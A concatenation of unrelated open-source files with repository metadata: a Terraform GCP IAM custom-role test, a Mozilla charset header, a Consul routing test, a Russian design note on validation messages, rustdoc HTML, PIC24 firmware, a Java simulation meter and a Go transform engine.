fmt.Errorf("Iam custom role still exists") } } return nil } func testAccCheckGoogleProjectIamCustomRole_basic(roleId string) string { return fmt.Sprintf(` resource "google_project_iam_custom_role" "foo" { role_id = "%s" title = "My Custom Role" description = "foo" permissions = ["iam.roles.list"] } `, roleId) } func testAccCheckGoogleProjectIamCustomRole_deleted(roleId string) string { return fmt.Sprintf(` resource "google_project_iam_custom_role" "foo" { role_id = "%s" title = "My Custom Role" description = "foo" permissions = ["iam.roles.list"] deleted = true } `, roleId) } func testAccCheckGoogleProjectIamCustomRole_update(roleId string) string { return fmt.Sprintf(` resource "google_project_iam_custom_role" "foo" { role_id = "%s" title = "My Custom Role Updated" description = "bar" permissions = ["iam.roles.list", "iam.roles.create", "iam.roles.delete"] stage = "BETA" } `, roleId) }
drebes/terraform-provider-google
google/resource_google_project_iam_custom_role_test.go
GO
mpl-2.0
4,606
/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* ***** BEGIN LICENSE BLOCK ***** * Version: MPL 1.1/GPL 2.0/LGPL 2.1 * * The contents of this file are subject to the Mozilla Public License Version * 1.1 (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * http://www.mozilla.org/MPL/ * * Software distributed under the License is distributed on an "AS IS" basis, * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License * for the specific language governing rights and limitations under the * License. * * The Original Code is Mozilla Communicator client code. * * The Initial Developer of the Original Code is * Netscape Communications Corporation. * Portions created by the Initial Developer are Copyright (C) 1998 * the Initial Developer. All Rights Reserved. * * Contributor(s): * * Alternatively, the contents of this file may be used under the terms of * either of the GNU General Public License Version 2 or later (the "GPL"), * or the GNU Lesser General Public License Version 2.1 or later (the "LGPL"), * in which case the provisions of the GPL or the LGPL are applicable instead * of those above. If you wish to allow use of your version of this file only * under the terms of either the GPL or the LGPL, and not to allow others to * use your version of this file under the terms of the MPL, indicate your * decision by deleting the provisions above and replace them with the notice * and other provisions required by the GPL or the LGPL. If you do not delete * the provisions above, a recipient may use your version of this file under * the terms of any one of the MPL, the GPL or the LGPL. * * ***** END LICENSE BLOCK ***** */ #ifndef nsCP1253ToUnicode_h___ #define nsCP1253ToUnicode_h___ #include "nsISupports.h" /** * A character set converter from CP1253 to Unicode. * * @created 20/Apr/1999 * @author Catalin Rotaru [CATA] */ NS_METHOD nsCP1253ToUnicodeConstructor(nsISupports *aOuter, REFNSIID aIID, void **aResult); #endif /* nsCP1253ToUnicode_h___ */
tmhorne/celtx
intl/uconv/ucvlatin/nsCP1253ToUnicode.h
C
mpl-2.0
2,175
import transitionable from 'consul-ui/utils/routing/transitionable'; import { module, test } from 'qunit'; const makeRoute = function(name, params = {}, parent) { return { name: name, paramNames: Object.keys(params), params: params, parent: parent, }; }; module('Unit | Utility | routing/transitionable', function() { test('it walks up the route tree to resolve all the required parameters', function(assert) { const expected = ['dc.service.instance', 'dc-1', 'service-0', 'node-0', 'service-instance-0']; const dc = makeRoute('dc', { dc: 'dc-1' }); const service = makeRoute('dc.service', { service: 'service-0' }, dc); const instance = makeRoute( 'dc.service.instance', { node: 'node-0', id: 'service-instance-0' }, service ); const actual = transitionable(instance, {}); assert.deepEqual(actual, expected); }); test('it walks up the route tree to resolve all the required parameters whilst replacing specified params', function(assert) { const expected = [ 'dc.service.instance', 'dc-1', 'service-0', 'different-node', 'service-instance-0', ]; const dc = makeRoute('dc', { dc: 'dc-1' }); const service = makeRoute('dc.service', { service: 'service-0' }, dc); const instance = makeRoute( 'dc.service.instance', { node: 'node-0', id: 'service-instance-0' }, service ); const actual = transitionable(instance, { node: 'different-node' }); assert.deepEqual(actual, expected); }); });
hashicorp/consul
ui/packages/consul-ui/tests/unit/utils/routing/transitionable-test.js
JavaScript
mpl-2.0
1,538
# Дизайн сообщений об ошибках На основе агрегатов можно производить расчёт сообщений об ошибках проверок заказов. Фактически, это ещё одна агрегация поверх агрегатов. # Требования к сообщениям об ошибках Требования от ERM - быстро найти все сообщения об ошибках для конкретного заказа Требования от Экспорта: - быстро найти все сообщения об ошибках для всех заказов в конкретном проекте за конкретный период Общие требования - Машина времени. Должны вернуть информацию об ошибках в заказе на любой известный нам момент времени. - Локализация. Для любого проекта нужно уметь получать локализованные сообщения об ошибках на любом языке. Экспорт например захочет сообщения на английском для всех проектов, а UI системам нужно выводит сообщения на языке проекта. # Структура агрегатов ![required text](https://immense-sea-86195.herokuapp.com/2gis/nuclear-river/feature/validation-rules/docs/ru/validation-rules/design-messages.puml) ## Version Идентификатором агрегата является порядковый номер версии набора проверок. Каждое вычисленное изменение состояния приводит к новой версии. Инкремент и уникальность достигаются без использования автоинкремента БД, на уровне логики проложения. Это защищает от параллельных изменений и от того, что более поздняя версия получит меньший номер. ## ErmState В состав агрегата входит коллекция токенов (вероятнее всего UseCaseId типа guid или просто идентификатор состояния типа long). Служит для того, чтобы при обращении клиента можно было определить, достигнуто ли требуемое состояние Erm в проверках и какие именно сообщения соответствуют тому состоянию. В результате того, что события агрегируются на всех этапах, одно состояние проверок соответствует одному или более состояний Erm. В результате того, что чтении данных (при получении события) хранилище не соответствует в точности состоянию в момент генерации события, состояние проверок может включать более поздние изменения. Это приводит к необходимости заморозки изменений в заказах в случае сборки. ## ValidationResult В состав агрегата входит полный набор результатов проверок. Хранить их "как есть" технически дорого, поэтому нужно подумать о трюках. Возможное решение: в новую версию добавлять только дельту состояний относительно предыдущей, а при исключении заказа из результатов (отменён, изменён период, удалён...) использовать отметку. Отсюда поле Result, имеющее три возможных состояния: проверка пройдена, есть ошибка, заказ исключен. Поля OrderId, Period, ProjectId обеспечивают поиск по всем известным сегодня критериям. Поля MessageType, MessageParams обеспечивают возможность формирования локализованного сообщения об ошибке. Как представленная структура отвечает требованиям? - Быстрый поиск. Id заказа, период и город могут быть добавлены в индекс. Для поиска по самой актуальной информации о проверках достаточно сделать запрос по ValidationResult. - Машина времени. ValidationResult содержит Version, таким образом хранится информация обо всех заказах во все известных нам версиях (что использовать в качестве version вопрос пока открытый) - Контроль состояния erm. Наличие токена в таблице ErmState гарантирует, что проверки достигли требуемого состояния. Указание версии в ValidationResult позволяет получить состояние системы в прошлом (на самом деле, плюс-минус, следует учитывать лаг между получением события и чтением из базы erm и пакетную обработку - это приводит к не точному соответствию)
2gis/nuclear-river-validation-rules
docs/ru/validation-rules/design-messages.md
Markdown
mpl-2.0
5,988
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="generator" content="rustdoc"> <meta name="description" content="API documentation for the Rust `AtomicOption` struct in crate `crossbeam`."> <meta name="keywords" content="rust, rustlang, rust-lang, AtomicOption"> <title>crossbeam::sync::AtomicOption - Rust</title> <link rel="stylesheet" type="text/css" href="../../rustdoc.css"> <link rel="stylesheet" type="text/css" href="../../main.css"> </head> <body class="rustdoc"> <!--[if lte IE 8]> <div class="warning"> This old browser is unsupported and will most likely display funky things. </div> <![endif]--> <nav class="sidebar"> <p class='location'><a href='../index.html'>crossbeam</a>::<wbr><a href='index.html'>sync</a></p><script>window.sidebarCurrent = {name: 'AtomicOption', ty: 'struct', relpath: ''};</script><script defer src="sidebar-items.js"></script> </nav> <nav class="sub"> <form class="search-form js-only"> <div class="search-container"> <input class="search-input" name="search" autocomplete="off" placeholder="Click or press ‘S’ to search, ‘?’ for more options…" type="search"> </div> </form> </nav> <section id='main' class="content struct"> <h1 class='fqn'><span class='in-band'>Struct <a href='../index.html'>crossbeam</a>::<wbr><a href='index.html'>sync</a>::<wbr><a class='struct' href=''>AtomicOption</a></span><span class='out-of-band'><span id='render-detail'> <a id="toggle-all-docs" href="javascript:void(0)" title="collapse all docs"> [<span class='inner'>&#x2212;</span>] </a> </span><a id='src-461' class='srclink' href='../../src/crossbeam/sync/atomic_option.rs.html#7-9' title='goto source code'>[src]</a></span></h1> <pre class='rust struct'>pub struct AtomicOption&lt;T&gt; { inner: <a class='struct' href='../../core/sync/atomic/struct.AtomicPtr.html' title='core::sync::atomic::AtomicPtr'>AtomicPtr</a>&lt;T&gt;, }</pre><h2 class='fields'>Fields</h2><span id='structfield.inner' class='structfield'><code>inner: <a class='struct' href='../../core/sync/atomic/struct.AtomicPtr.html' title='core::sync::atomic::AtomicPtr'>AtomicPtr</a>&lt;T&gt;</code> </span><span class='stab '></span><h2 id='methods'>Methods</h2><h3 class='impl'><span class='in-band'><code>impl&lt;T&gt; <a class='struct' href='../../crossbeam/sync/struct.AtomicOption.html' title='crossbeam::sync::AtomicOption'>AtomicOption</a>&lt;T&gt;</code></span><span class='out-of-band'><div class='ghost'></div><a id='src-464' class='srclink' href='../../src/crossbeam/sync/atomic_option.rs.html#11-37' title='goto source code'>[src]</a></span></h3> <div class='impl-items'><h4 id='method.new' class='method'><code>fn <a href='#method.new' class='fnname'>new</a>() -&gt; <a class='struct' href='../../crossbeam/sync/struct.AtomicOption.html' title='crossbeam::sync::AtomicOption'>AtomicOption</a>&lt;T&gt;</code></h4> <h4 id='method.swap_inner' class='method'><code>fn <a href='#method.swap_inner' class='fnname'>swap_inner</a>(&amp;self, ptr: <a class='primitive' href='../../std/primitive.pointer.html'>*mut T</a>, order: <a class='enum' href='../../core/sync/atomic/enum.Ordering.html' title='core::sync::atomic::Ordering'>Ordering</a>) -&gt; <a class='enum' href='../../core/option/enum.Option.html' title='core::option::Option'>Option</a>&lt;<a class='struct' href='../../alloc/boxed/struct.Box.html' title='alloc::boxed::Box'>Box</a>&lt;T&gt;&gt;</code></h4> <h4 id='method.swap_box' class='method'><code>fn <a href='#method.swap_box' class='fnname'>swap_box</a>(&amp;self, t: <a class='struct' href='../../alloc/boxed/struct.Box.html' title='alloc::boxed::Box'>Box</a>&lt;T&gt;, order: <a class='enum' href='../../core/sync/atomic/enum.Ordering.html' title='core::sync::atomic::Ordering'>Ordering</a>) -&gt; <a class='enum' href='../../core/option/enum.Option.html' title='core::option::Option'>Option</a>&lt;<a class='struct' href='../../alloc/boxed/struct.Box.html' title='alloc::boxed::Box'>Box</a>&lt;T&gt;&gt;</code></h4> <h4 id='method.swap' class='method'><code>fn <a href='#method.swap' class='fnname'>swap</a>(&amp;self, t: T, order: <a class='enum' href='../../core/sync/atomic/enum.Ordering.html' title='core::sync::atomic::Ordering'>Ordering</a>) -&gt; <a class='enum' href='../../core/option/enum.Option.html' title='core::option::Option'>Option</a>&lt;T&gt;</code></h4> <h4 id='method.take' class='method'><code>fn <a href='#method.take' class='fnname'>take</a>(&amp;self, order: <a class='enum' href='../../core/sync/atomic/enum.Ordering.html' title='core::sync::atomic::Ordering'>Ordering</a>) -&gt; <a class='enum' href='../../core/option/enum.Option.html' title='core::option::Option'>Option</a>&lt;T&gt;</code></h4> </div><h2 id='implementations'>Trait Implementations</h2><h3 class='impl'><span class='in-band'><code>impl&lt;T:&nbsp;<a class='trait' href='../../core/marker/trait.Send.html' title='core::marker::Send'>Send</a>&gt; <a class='trait' href='../../core/marker/trait.Send.html' title='core::marker::Send'>Send</a> for <a class='struct' href='../../crossbeam/sync/struct.AtomicOption.html' title='crossbeam::sync::AtomicOption'>AtomicOption</a>&lt;T&gt;</code></span><span class='out-of-band'><div class='ghost'></div><a id='src-457' class='srclink' href='../../src/crossbeam/sync/atomic_option.rs.html#4' title='goto source code'>[src]</a></span></h3> <div class='impl-items'></div><h3 class='impl'><span class='in-band'><code>impl&lt;T:&nbsp;<a class='trait' href='../../core/marker/trait.Send.html' title='core::marker::Send'>Send</a>&gt; <a class='trait' href='../../core/marker/trait.Sync.html' title='core::marker::Sync'>Sync</a> for <a class='struct' href='../../crossbeam/sync/struct.AtomicOption.html' title='crossbeam::sync::AtomicOption'>AtomicOption</a>&lt;T&gt;</code></span><span class='out-of-band'><div class='ghost'></div><a id='src-459' class='srclink' href='../../src/crossbeam/sync/atomic_option.rs.html#5' title='goto source code'>[src]</a></span></h3> <div class='impl-items'></div></section> <section id='search' class="content hidden"></section> <section class="footer"></section> <aside id="help" class="hidden"> <div> <h1 class="hidden">Help</h1> <div class="shortcuts"> <h2>Keyboard Shortcuts</h2> <dl> <dt>?</dt> <dd>Show this help dialog</dd> <dt>S</dt> <dd>Focus the search field</dd> <dt>&larrb;</dt> <dd>Move up in search results</dd> <dt>&rarrb;</dt> <dd>Move down in search results</dd> <dt>&#9166;</dt> <dd>Go to active search result</dd> <dt>+</dt> <dd>Collapse/expand all sections</dd> </dl> </div> <div class="infos"> <h2>Search Tricks</h2> <p> Prefix searches with a type followed by a colon (e.g. <code>fn:</code>) to restrict the search to a given type. </p> <p> Accepted types are: <code>fn</code>, <code>mod</code>, <code>struct</code>, <code>enum</code>, <code>trait</code>, <code>type</code>, <code>macro</code>, and <code>const</code>. </p> <p> Search functions by type signature (e.g. <code>vec -> usize</code> or <code>* -> vec</code>) </p> </div> </div> </aside> <script> window.rootPath = "../../"; window.currentCrate = "crossbeam"; window.playgroundUrl = ""; </script> <script src="../../jquery.js"></script> <script src="../../main.js"></script> <script defer src="../../search-index.js"></script> </body> </html>
servo/doc.servo.org
crossbeam/sync/struct.AtomicOption.html
HTML
mpl-2.0
8,386
/* * File: main.c * Author: Mike Peters * * Created on November 5, 2014, 12:11 PM */ #include <stdio.h> #include <stdlib.h> #include <p24Hxxxx.h> //#include <libpic30.h> #include "inc/comms.h" #include "inc/globals.h" #include "inc/chip_setup.h" /* * Words of Power */ _FBS(BWRP_WRPROTECT_OFF & BSS_NO_BOOT_CODE & RBS_NO_BOOT_RAM ) _FSS(SWRP_WRPROTECT_OFF & SSS_NO_SEC_CODE & RSS_NO_SEC_RAM ) _FGS(GWRP_OFF & GCP_OFF) _FOSCSEL( FNOSC_FRC & IESO_OFF) _FOSC(OSCIOFNC_ON & POSCMD_NONE & FCKSM_CSECMD) _FWDT( WDTPOST_PS8192 & WDTPRE_PR32 & WINDIS_OFF & FWDTEN_OFF) _FPOR( FPWRT_PWR128) _FICD( ICS_PGD1 & JTAGEN_OFF) int main(int argc, char** argv) { void Ludacris_Speed(void); //Make chip go fast Ludacris_Speed(); InitGlobals(); Setup_GO(); SystemsTest(); //printf("Ready\n"); while(1) { // __delay_ms(1000); // LATBbits.LATB5 ^= 1; //Nop(); if(COMMANDRCD == 1) { //printf("Processing Command\r\n"); Process_CMD(); } if (LEVELCHANGED == 1) { ReportLevelChanged(); } } return (EXIT_SUCCESS); } inline void Ludacris_Speed() { //This code from Microchip Family Ref. 39 Oscillator(Part III) //Configure PLL prescaler, PLL postscaler, PLL divisor PLLFBD = 41; // M = 43 CLKDIVbits.PLLPOST = 0; // N2 = 2 CLKDIVbits.PLLPRE = 0; // N1 = 2 // Initiate Clock Switch to Internal FRC with PLL (NOSC = 0b001) __builtin_write_OSCCONH(0x01); __builtin_write_OSCCONL(0x01); // Wait for Clock switch to occur while (OSCCONbits.COSC != 0b001); // Wait for PLL to lock while(OSCCONbits.LOCK != 1) {}; return; }
kz5ee/EE2403_Final_Lab
EE2403_Final_Lab.X/main.c
C
mpl-2.0
1,719
/* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ package etomica.normalmode; import etomica.data.DataTag; import etomica.data.IData; import etomica.data.IEtomicaDataInfo; import etomica.data.IEtomicaDataSource; import etomica.data.meter.MeterPotentialEnergy; import etomica.data.types.DataDouble; import etomica.data.types.DataDouble.DataInfoDouble; import etomica.potential.PotentialMaster; import etomica.units.Null; /** * Meter used for overlap sampling in the harmonic-sampled system. The meter * measures the energy difference for the harmonic and target * potentials. * * @author Tai Boon Tan */ public class MeterWorkHarmonicPhaseSpace implements IEtomicaDataSource { public MeterWorkHarmonicPhaseSpace(MCMoveHarmonic mcMoveHarmonic, PotentialMaster potentialMaster) { this.mcMoveHarmonic = mcMoveHarmonic; meterEnergy = new MeterPotentialEnergy(potentialMaster); meterEnergy.setBox(mcMoveHarmonic.getBox()); data = new DataDouble(); dataInfo = new DataInfoDouble("Scaled Harmonic and soft sphere Energies", Null.DIMENSION); tag = new DataTag(); } public void setTemperature(double newTemperature) { temperature = newTemperature; } public double getTemperature() { return temperature; } public IData getData() { double uTarget = (meterEnergy.getDataAsScalar() - latticeEnergy); double diff = (uTarget-mcMoveHarmonic.getLastTotalEnergy()); data.x = ( uTarget - mcMoveHarmonic.getLastTotalEnergy()) / temperature; return data; } public void setLatticeEnergy(double newLatticeEnergy) { latticeEnergy = newLatticeEnergy; } public IEtomicaDataInfo getDataInfo() { return dataInfo; } public DataTag getTag() { return tag; } protected double temperature; protected final MeterPotentialEnergy meterEnergy; protected final MCMoveHarmonic mcMoveHarmonic; protected final DataDouble data; protected final DataInfoDouble dataInfo; protected final DataTag tag; protected double latticeEnergy; }
ajschult/etomica
etomica-apps/src/main/java/etomica/normalmode/MeterWorkHarmonicPhaseSpace.java
Java
mpl-2.0
2,294
package whale import ( "fmt" "strconv" "strings" "time" "log" ) import ( "open-tritium/dependencies/go-cache" "open-tritium/dependencies/go-cache/arc" "github.com/moovweb/gokogiri/xpath" "github.com/moovweb/rubex" "open-tritium/dependencies/steno" "open-tritium" "open-tritium/constants" "open-tritium/protoface" ) type Whale struct { Debugger steno.Debugger RegexpCache cache.Cache XPathCache cache.Cache } type EngineContext struct { Functions []*Function Types []string Exports [][]string Logs []string ImportedFiles []string Env map[string]string MatchStack []string MatchShouldContinueStack []bool Yields []*YieldBlock *Whale protoface.Transform Rrules []protoface.RewriteRule InnerReplacer *rubex.Regexp HeaderContentType *rubex.Regexp // Debug info Filename string HadError bool Deadline time.Time Mobjects []MemoryObject MessagePath string Customer string Project string InDebug bool CurrentDoc interface{} Warnings int Prod bool HtmlParsed bool ActiveLayers map[string]bool ActiveLayersString string } const OutputBufferSize = 500 * 1024 //500KB const defaultMobjects = 4 const TimeoutError = "EngineTimeout" var TritiumLogRewritersAsImports = false func NewEngine(debugger steno.Debugger) *Whale { e := &Whale{ Debugger: debugger, RegexpCache: arc.NewARCache(1000), XPathCache: arc.NewARCache(1000), } e.RegexpCache.SetCleanFunc(CleanRegexpObject) e.XPathCache.SetCleanFunc(CleanXpathExpObject) return e } func NewEngineCtx(eng *Whale, vars map[string]string, transform protoface.Transform, rrules []protoface.RewriteRule, deadline time.Time, messagePath, customer, project string, activeLayers []string, inDebug bool) (ctx *EngineContext) { ctx = &EngineContext{ Whale: eng, Exports: make([][]string, 0), Logs: make([]string, 0), Env: vars, Transform: transform, Rrules: rrules, MatchStack: make([]string, 0), MatchShouldContinueStack: make([]bool, 0), Yields: make([]*YieldBlock, 0), HadError: false, Deadline: deadline, Mobjects: make([]MemoryObject, 0, defaultMobjects), MessagePath: messagePath, Customer: customer, Project: project, InDebug: inDebug, } ctx.ActiveLayers = make(map[string]bool) for _, name := range activeLayers { ctx.ActiveLayers[name] = true } ctx.ActiveLayersString = strings.Join(activeLayers, ",") return } func (eng *Whale) Free() { eng.RegexpCache.Reset() eng.XPathCache.Reset() } func (eng *Whale) Run(transform protoface.Transform, rrules []protoface.RewriteRule, input interface{}, vars map[string]string, deadline time.Time, customer, project, messagePath string, activeLayers []string, inDebug bool) (exhaust *tritium.Exhaust) { ctx := NewEngineCtx(eng, vars, transform, rrules, deadline, messagePath, customer, project, activeLayers, inDebug) exhaust = &tritium.Exhaust{} defer ctx.Free() ctx.Yields = append(ctx.Yields, &YieldBlock{Vars: make(map[string]interface{})}) ctx.UsePackage(transform.IGetPkg()) scope := &Scope{Value: input.(string)} obj := transform.IGetNthObject(0) ctx.Filename = obj.IGetName() if TritiumLogRewritersAsImports { ctx.Whale.Debugger.LogImport(ctx.MessagePath, ctx.Filename, ctx.Filename, int(obj.IGetRoot().IGetLineNumber())) } ctx.RunInstruction(scope, obj.IGetRoot()) exhaust.Output = scope.Value.(string) exhaust.Exports = ctx.Exports exhaust.Logs = ctx.Logs exhaust.HtmlParsed = ctx.HtmlParsed return } func (eng *Whale) GetCacheStats() (int, int, int, int) { return eng.RegexpCache.GetHitRate(), eng.RegexpCache.GetUsageRate(), eng.XPathCache.GetHitRate(), eng.XPathCache.GetUsageRate() } func (ctx *EngineContext) Free() { for _, o := range ctx.Mobjects { if o != nil { o.Free() } } } func (ctx *EngineContext) RunInstruction(scope *Scope, ins protoface.Instruction) (returnValue interface{}) { thisFile := ctx.Filename defer func() { //TODO Stack traces seem to get truncated on syslog... if x := recover(); x != nil { err, ok := x.(error) errString := "" if ok { errString = err.Error() } else { errString = x.(string) } if errString != TimeoutError { if ctx.HadError == false { ctx.HadError = true errString = errString + "\n" + constants.Instruction_InstructionType_name[ins.IGetType()] + " " + ins.IGetValue() + "\n\n\nTritium Stack\n=========\n\n" } // errString = errString + ctx.FileAndLine(ins) + "\n" if len(thisFile) > 0 && thisFile != "__rewriter__" { switch ins.IGetType() { case constants.Instruction_IMPORT: errString = errString + fmt.Sprintf("%s:%d", thisFile, ins.IGetLineNumber()) errString = errString + fmt.Sprintf(":\t@import %s\n", ctx.Transform.IGetNthObject(int(ins.IGetObjectId())).IGetName()) case constants.Instruction_FUNCTION_CALL: errString = errString + fmt.Sprintf("%s:%d", thisFile, ins.IGetLineNumber()) if callee := ins.IGetValue(); len(callee) > 0 { errString = errString + fmt.Sprintf(":\t%s\n", callee) } default: // do nothing } } } log.Fatal(errString) // panic(errString) } }() ctx.Whale.Debugger.TrapInstruction(ctx.MessagePath, ctx.Filename, ctx.Env, ins, scope.Value, scope.Index, ctx.CurrentDoc) if time.Now().After(ctx.Deadline) && !ctx.InDebug { log.Fatal(TimeoutError) // panic(TimeoutError) } indent := "" for i := 0; i < len(ctx.Yields); i++ { indent += "\t" } returnValue = "" switch ins.IGetType() { case constants.Instruction_BLOCK: for i := 0; i < ins.INumChildren(); i++ { child := ins.IGetNthChild(i) returnValue = ctx.RunInstruction(scope, child) } case constants.Instruction_TEXT: returnValue = ins.IGetValue() case constants.Instruction_LOCAL_VAR: name := ins.IGetValue() vars := ctx.Vars() if ins.INumArgs() > 0 { vars[name] = ctx.RunInstruction(scope, ins.IGetNthArgument(0)) } if ins.INumChildren() > 0 { ts := &Scope{Value: ctx.Vars()[name]} for i := 0; i < ins.INumChildren(); i++ { child := ins.IGetNthChild(i) ctx.RunInstruction(ts, child) } vars[name] = ts.Value } returnValue = vars[name] case constants.Instruction_IMPORT: obj := ctx.IGetNthObject(int(ins.IGetObjectId())) curFile := ctx.Filename ctx.Filename = obj.IGetName() ctx.Whale.Debugger.LogImport(ctx.MessagePath, ctx.Filename, curFile, int(ins.IGetLineNumber())) root := obj.IGetRoot() for i := 0; i < root.INumChildren(); i++ { child := root.IGetNthChild(i) ctx.RunInstruction(scope, child) } ctx.Whale.Debugger.LogImportDone(ctx.MessagePath, ctx.Filename, curFile, int(ins.IGetLineNumber())) ctx.Filename = curFile case constants.Instruction_FUNCTION_CALL: fun := ctx.Functions[int(ins.IGetFunctionId())] args := make([]interface{}, ins.INumArgs()) for i := 0; i < len(args); i++ { argIns := ins.IGetNthArgument(i) args[i] = ctx.RunInstruction(scope, argIns) } if fun.IGetBuiltIn() { curFile := ctx.Filename if f := builtInFunctions[fun.Name]; f != nil { returnValue = f(ctx, scope, ins, args) if returnValue == nil { returnValue = "" } } else { log.Fatal("missing function: " + fun.IGetName()) // panic("missing function: " + fun.IGetName()) } ctx.Filename = curFile } else { // We are using a user-defined function //println("Resetting localvar") // Setup the new local var vars := make(map[string]interface{}, len(args)) for i := 0; i < fun.INumArgs(); i++ { arg := fun.IGetNthArg(i) vars[arg.IGetName()] = args[i] } yieldBlock := &YieldBlock{ Ins: ins, Vars: vars, Filename: ctx.Filename, } // PUSH! ctx.PushYieldBlock(yieldBlock) curFile := ctx.Filename ctx.Filename = fun.IGetFilename() // if it's a user-called function, save the curfile:linenumber // Are we going to need a stack here? --A.L. if !ctx.Debugger.IsProd() && ins.IGetIsUserCalled() == true { ctx.Env[isUserCalledEnvKey] = fmt.Sprintf("%s:%d", curFile, ins.IGetLineNumber()) } for i := 0; i < fun.IGetInstruction().INumChildren(); i++ { child := fun.IGetInstruction().IGetNthChild(i) returnValue = ctx.RunInstruction(scope, child) } if ins.IGetIsUserCalled() == true { delete(ctx.Env, isUserCalledEnvKey) } ctx.Filename = curFile // POP! ctx.PopYieldBlock() } } return } func (ctx *EngineContext) ShouldContinue() (result bool) { if len(ctx.MatchShouldContinueStack) > 0 { result = ctx.MatchShouldContinueStack[len(ctx.MatchShouldContinueStack)-1] } else { result = false } return } func (ctx *EngineContext) MatchTarget() string { return ctx.MatchStack[len(ctx.MatchStack)-1] } func (ctx *EngineContext) PushYieldBlock(b *YieldBlock) { ctx.Yields = append(ctx.Yields, b) } func (ctx *EngineContext) PopYieldBlock() (b *YieldBlock) { num := len(ctx.Yields) if num > 0 { b = ctx.Yields[num-1] ctx.Yields = ctx.Yields[:num-1] } return } func (ctx *EngineContext) HasYieldBlock() bool { return len(ctx.Yields) > 0 } func (ctx *EngineContext) TopYieldBlock() (b *YieldBlock) { num := len(ctx.Yields) if num > 0 { b = ctx.Yields[num-1] } return } func (ctx *EngineContext) Vars() map[string]interface{} { b := ctx.TopYieldBlock() if b != nil { return b.Vars } return nil } func (ctx *EngineContext) FileAndLine(ins protoface.Instruction) string { lineNum := strconv.Itoa(int(ins.IGetLineNumber())) return (ctx.Filename + ":" + lineNum) } func (ctx *EngineContext) UsePackage(pkg protoface.Package) { pkgTypes := pkg.IGetTypes() ctx.Types = make([]string, len(pkgTypes)) for i, t := range pkgTypes { ctx.Types[i] = t.IGetName() } pkgFunctions := pkg.IGetFunctions() ctx.Functions = make([]*Function, len(pkgFunctions)) for i, f := range pkgFunctions { ns := f.IGetNamespace() if len(ns) == 0 { ns = "tritium" } name := ns + "." + f.IGetName() // for _, a := range f.Args { // typeString := ctx.Types[int(null.GetInt32(a.TypeId))] // name = name + "." + typeString // } for i := 0; i < f.INumArgs(); i++ { a := f.IGetNthArg(i) typeString := ctx.Types[int(a.IGetTypeId())] name = name + "." + typeString } fun := &Function{ Name: name, Function: f, } ctx.Functions[i] = fun } } func (ctx *EngineContext) GetRegexp(pattern, options string) (r *rubex.Regexp) { sig := pattern + "/" + options object, err := ctx.RegexpCache.Get(sig) if err != nil { mode := rubex.ONIG_OPTION_DEFAULT if strings.Index(options, "i") >= 0 { mode = rubex.ONIG_OPTION_IGNORECASE } if strings.Index(options, "m") >= 0 { mode = rubex.ONIG_OPTION_MULTILINE } var err error r, err = rubex.NewRegexp(pattern, mode) if err == nil { //ctx.AddMemoryObject(r) ctx.RegexpCache.Set(sig, &RegexpObject{Regexp: r}) } else { log.Fatal(fmt.Sprintf("%s: /%s/%s", err.Error(), pattern, options)) // panic(fmt.Sprintf("%s: /%s/%s", err.Error(), pattern, options)) } return r } return object.(*RegexpObject).Regexp } func (ctx *EngineContext) GetXpathExpr(p string) (e *xpath.Expression) { object, err := ctx.XPathCache.Get(p) if err != nil { e = xpath.Compile(p) if e != nil { //ctx.AddMemoryObject(e) ctx.XPathCache.Set(p, &XpathExpObject{Expression: e}) } else { ctx.Debugger.LogTritiumErrorMessage(ctx.Customer, ctx.Project, ctx.Env, ctx.MessagePath, "Invalid XPath used: "+p) } return e } return object.(*XpathExpObject).Expression } func (ctx *EngineContext) AddExport(exports []string) { ctx.Exports = append(ctx.Exports, exports) } func (ctx *EngineContext) AddLog(log string) int { //ctx.Log.Info("TRITIUM: " + log) index := len(ctx.Logs) ctx.Logs = append(ctx.Logs, log) return index } func (ctx *EngineContext) UpdateLog(index int, log string) { //ctx.Log.Info("TRITIUM: " + log) if index >= 0 && index < len(ctx.Logs) { ctx.Logs[index] = log } } func (ctx *EngineContext) SetEnv(key, val string) { ctx.Env[key] = val } func (ctx *EngineContext) GetEnv(key string) (val string) { val = ctx.Env[key] return } func (ctx *EngineContext) SetVar(key string, val interface{}) { b := ctx.TopYieldBlock() if b != nil { b.Vars[key] = val } } func (ctx *EngineContext) GetVar(key string) (val interface{}) { b := ctx.TopYieldBlock() if b != nil { val = b.Vars[key] } return } func (ctx *EngineContext) GetInnerReplacer() (r *rubex.Regexp) { return ctx.GetRegexp(`[\\$](\d)`, "i") } func (ctx *EngineContext) GetHeaderContentTypeRegex() (r *rubex.Regexp) { return ctx.GetRegexp(`<meta\s+http-equiv="content-type"\s+content="(.*?)"`, "i") } func (ctx *EngineContext) GetOutputBuffer() (b []byte) { //b = ctx.OutputBuffer return } func (ctx *EngineContext) PushMatchStack(match string) { ctx.MatchStack = append(ctx.MatchStack, match) } func (ctx *EngineContext) PopMatchStack() (match string) { if num := len(ctx.MatchStack); num > 0 { match = ctx.MatchStack[num-1] ctx.MatchStack = ctx.MatchStack[:num-1] } return } func (ctx *EngineContext) PushShouldContinueStack(cont bool) { ctx.MatchShouldContinueStack = append(ctx.MatchShouldContinueStack, cont) } func (ctx *EngineContext) PopShouldContinueStack() (cont bool) { if num := len(ctx.MatchShouldContinueStack); num > 0 { cont = ctx.MatchShouldContinueStack[num-1] ctx.MatchShouldContinueStack = ctx.MatchShouldContinueStack[:num-1] } return } func (ctx *EngineContext) SetShouldContinue(cont bool) { if num := len(ctx.MatchShouldContinueStack); num > 0 { ctx.MatchShouldContinueStack[num-1] = cont } } func (ctx *EngineContext) AddMemoryObject(o MemoryObject) { ctx.Mobjects = append(ctx.Mobjects, o) }
moovweb/open-tritium
whale/whale.go
GO
mpl-2.0
13,915
